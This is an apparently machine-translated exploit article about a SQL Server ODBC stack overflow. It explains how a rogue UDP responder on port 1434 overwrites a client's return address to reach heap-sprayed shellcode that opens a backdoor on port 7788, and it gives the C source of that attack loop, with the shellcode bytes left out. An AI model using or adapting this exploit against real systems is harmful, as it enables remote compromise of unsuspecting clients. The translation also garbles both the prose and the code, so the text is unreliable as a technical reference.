SQL Server ODBC Stack Overflow Attack implementation.
Created:
Article attributes: original
Article submitted: flashsky (flashsky1_at_sina.com)
ODBC overflow is the final solution.
Since we only wanted to copy the Unicode code, a large number of addresses were overwritten for many reasons. As a result, some system data was overwritten and the code could not be executed. Later I thought, can I only overwrite the return address, and the return address should be directed to other controllable addresses.
After careful investigation, the addresses of our data mainly include:
1. Data received by recvfrom
2. Allocated heap
3. Copied Stack
Since the stack only covers the return address, we have to worry about 1 and 2, but 1 will be cleared after being copied to the heap, so we can only use 2.
The heap allocation is usually around 0x11cb00 for the first time. Therefore, we can set the address 0x1240fe as the return address to consider multiple situations and Unicode convertible situations, you only need to ensure that the heap is in the following conditions:
[Normal response package for us or others] [address-overwriting package] [empty operation package] [shellcode]
0x1240fe between empty operation packages
So after stack overflow, the address points to the location of the heap.
To achieve this goal, 0x1240fe is selected mainly because there may be many other cases or the SQL server does not exist, which can be adjusted.
However, after overwriting the address, the program will overwrite the address because the program continuously processes the subsequent package, because the combination of the empty operation and shellcode will definitely be greater than the overflow, therefore, add 0 to the end of the package that overwrites the address, so that the program can process the [package that overwrites the address] and return it.
The experiment was successful. However, I found that other machines could not work. I checked and found that I played SP3, while others did not. I disassembled the program, which is roughly the same, but its overflow is different. Now it is 6000, in the past, 1036 was used to overwrite the address. After modifying the overflow address, OK, all of them were successful. The following is an overflow attack demonstration program compatible with the old version. It has been launching an overflow attack until someone sends an ODBC listing request, all Windows machines on our company's network can basically overflow successfully, but because the shellcode is only in the ODBC process, the backdoor generated by this process is closed, after the overflow, do not close the process and telnet host 7788 to log on to it. Of course, you can also write it for processing outside of the process. In addition, Unicode encoding and Unicode shellcode are skipped. If you need it, consult isno. In addition, the heap address changes during the second operation. The first operation is basically fixed. However, it is generally the first time that SQL Server ODBC is used to list the server clients, so the problem is not very serious. There may be more different versions of SQL Server ODBC, And the overflow points may be different. You need to analyze and add these points at the location corresponding to the address overflow package, in addition, note that the addition of this point will lead to changes in the positions of other points, because the point must be unicode encoded.
Then, you can test the number of local SQL servers on the network, adjust the overflow return address (to use Unicode encoding) and the number of empty packets to make it possible, but it can be basically done.
# Define database 0x61
# Include <winsock2.h>
# Include <windows. h>
Void main ()
{
Unsigned char buffer [7000];
Unsigned char bufhead [3] = {5, 0xfc, 0xf };
Unsigned char buf1 [] = "servername; 11111111; InstanceName; MSSQLServer; isclustered; no; version; 8.00.194; TCP; 1433; NP; /// 11111111 // pipe // SQL // query ;;";
Unsigned char buf2 [4092];
Unsigned char buf3 [1024];
Unsigned char sendbuf [0x2000];
Unsigned char temp;
Unsigned char widecode [9000];
Wsadata;
Socket sock;
Sockaddr_in addr_in;
Handle listener;
Int E;
Int I;
Int sendlen;
DWORD A1;
Const int sndbuf = 0;
Const int tcpnodelay = true;
Const int broadcast = true;
Struct sockaddr_in udpfrom;
Int udpfromlen = sizeof (udpfrom );
Int N;
Unsigned char shellend [4] = {0x4e, 0x4e, 0, 0 };
Unsigned char myshellcode [] =; Unicode shellcode
Unsigned char shellcodehead [70] =; Unicode decoding Terminal
Shellcodehead [66] = 0;
Shellcodehead [67] = 0;
If (wsastartup (makeword (2, 0), & wsadata )! = 0)
{
Printf ("wsastartup error. Error: % d/N", wsagetlasterror ());
Return false;
}
If (sock = socket (af_inet, sock_dgram, ipproto_udp) = invalid_socket)
{
Printf ("socket failed. Error: % d/N", wsagetlasterror ());
Return false;
}
Sendlen = widechartomultibyte (0x3a8, wc_compositecheck, shellcodehead,-1, sendbuf, 0x1000, null, null );
Sendlen --;
Memcpy (sendbuf + sendlen, myshellcode, sizeof (myshellcode)-1 );
Sendlen = sendlen + sizeof (myshellcode)-1;
I = widechartomultibyte (0x3a8, wc_compositecheck, shellend,-1, sendbuf + sendlen, 0x10, null, null );
Sendlen = sendlen + I-1;
Memset (buf2, 0x4, 4092 );
Memset (buf3, 0x4, 10 24 );
Buf2 [3001] = 0x81; // it should have been 3000. However, due to the addition of the old version, one more
Buf2 [3002] = 0xaa;
Buf2 [3003] = 0x12; // the overflow of the new version is encoded as * 0x1240fe by Unicode,
Buf2 [3004] = 0; // it must be added, so that the program determines that it is 0. As a result, the shellcode after the processing will be returned directly without damaging the overflow Overwrite for this purpose.
Buf2 [512] = 0x2; // prevents exceptions caused by using this address in earlier versions
Buf2 [513] = 0x3;
Buf2 [518] = 0x81;
Buf2 [519] = 0xaa;
Buf2 [520] = 0x12; // to take care of the overflow of the old version; after unicode encoding, it becomes */
// Construct an address overflow package // NOP + overflow address
Addr_in.sin_family = af_inet;
Addr_in.sin_port = htons (0, 1434 );
Addr_in.sin_addr.s_un.s_addr = inet_addr ("192.168.0.60 ");
N = BIND (sock, (sockaddr *) & addr_in, sizeof (addr_in ));
If (n! = 0)
{
E = wsagetlasterror ();
Return-1;
}
For (;;)
{
N = recvfrom (sock, buffer, sizeof (buffer), 0, (struct sockaddr *) & udpfrom, & udpfromlen );
* (Word *) (bufhead + 1) = sizeof (buf1)-1;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, buf1, sizeof (buf1)-1); // extend the time to avoid interruption.
For (I = 0; I <10; I ++)
{
N = sendto (sock, buffer, sizeof (buf1) + 2, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
Sleep (20 );
}
Sleep (50 );
* (Word *) (bufhead + 1) = 3005;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, buf2, 3005); // The overwrite packet of the sending Address.
N = sendto (sock, buffer, 3008, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
// Write an empty operation string
* (Word *) (bufhead + 1) = 1024;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, buf3, 1024 );
For (I = 0; I <10; I ++)
N = sendto (sock, buffer, 1027, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
// Write shellcode
* (Word *) (bufhead + 1) = 4092;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, sendbuf, 4092 );
N = sendto (sock, buffer, 4095, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
}
Wsacleanup ();
Return 0;
}